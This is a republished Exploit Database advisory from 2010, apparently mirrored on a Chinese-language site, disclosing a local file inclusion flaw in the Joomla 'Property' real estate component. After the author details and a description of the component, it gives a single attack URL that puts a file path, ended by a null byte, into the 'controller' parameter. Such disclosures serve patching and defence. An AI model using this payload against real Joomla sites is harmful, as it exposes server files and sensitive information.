Joomla! Component Property – Local File Inclusion

• Exploit Database
• 9 阅读

• 作者： Chip d3 bi0s
  日期： 2010-03-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11851/

• ---------------------------------------------------------------------------------
  Joomla Component Property Local File Inclusion
  ---------------------------------------------------------------------------------
  
  Author: Chip D3 Bi0s
  Group : LatinHackTeam
  Email & msn : chipdebios[alt+64]gmail.com
  Date: 22 March 2010
  Critical Lvl: Moderate
  Impact	: Exposure of sensitive information
  Where	: From Remote
  ---------------------------------------------------------------------------
  
  Affected software description:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
  Application : Property
  Developer : este8an
  License : GPLtype: Non Commercial
  Date Added	: 22 January 2009
  Download	: http://www.com-property.com/download.html?func=select&id=2
  
  Description :
  
  Property is a new Real Estate component 100% FREE native Joomla 1.5.
  compatible with sh404sef and joomfish.
  
  Add Profiles (Agent data: Client is a user joomla registered)
  Can change permissions in User Manager to 'Agent' , then this
  user can publish various properties.
  
  Control Panel
  button Create Menus automatically creates menus in FrontEnd :
  All Properties,
  My Short List(Favorites),
  My Panel(to publish properties),
  My Profile.
  
  You can change names after created.
  ---------------------------------------------------------------------------
  how to exploit
  
  http://localhost/index.php?option=com_properties&controller=[LFI]%00
  
  
  +++++++++++++++++++++++++++++++++++++++
  [!] Produced in South America
  +++++++++++++++++++++++++++++++++++++++